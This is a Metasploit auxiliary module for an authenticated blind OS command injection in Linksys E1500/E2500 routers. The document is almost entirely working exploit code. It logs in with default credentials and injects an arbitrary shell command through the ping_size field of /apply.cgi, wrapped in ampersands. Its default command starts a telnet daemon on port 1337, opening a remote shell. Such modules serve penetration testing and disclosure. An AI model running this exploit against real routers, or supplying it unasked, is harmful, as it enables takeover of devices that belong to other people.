Linksys E1500/E2500 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Linksys E1500/E2500 Remote Command Execution',  
'Description' => %q{  
Some Linksys Routers are vulnerable to an authenticated OS command injection.  
Default credentials for the web interface are admin/admin or admin/password. Since  
it is a blind os command injection vulnerability, there is no output for the  
executed command. A ping command against a controlled system for can be used for  
testing purposes.  
},  
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'OSVDB', '89912' ],  
[ 'BID', '57760' ],  
[ 'EDB', '24475' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]  
],  
'DisclosureDate' => '2013-02-05'  
)  
)  
  
register_options(  
[  
OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),  
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),  
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])  
]  
)  
end  
  
def run  
uri = '/apply.cgi'  
user = datastore['HttpUsername']  
pass = datastore['HttpPassword']  
  
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'authorization' => basic_auth(user, pass)  
})  
  
return if res.nil?  
return if (res.code == 404)  
  
if [200, 301, 302].include?(res.code)  
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")  
else  
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")  
return  
end  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return  
end  
  
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])  
  
cmd = datastore['CMD']  
# original post request:  
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&  
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="  
  
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'POST',  
'authorization' => basic_auth(user, pass),  
'vars_post' => {  
'submit_button' => 'Diagnostics',  
'change_action' => 'gozila_cgi',  
'submit_type' => 'start_ping',  
'action' => '',  
'commit' => '0',  
'ping_ip' => '1.1.1.1',  
'ping_size' => "&#{cmd}&",  
'ping_times' => '5',  
'traceroute_ip' => ''  
}  
})  
rescue ::Rex::ConnectionError  
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")  
return  
end  
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")  
print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")  
end  
end  
`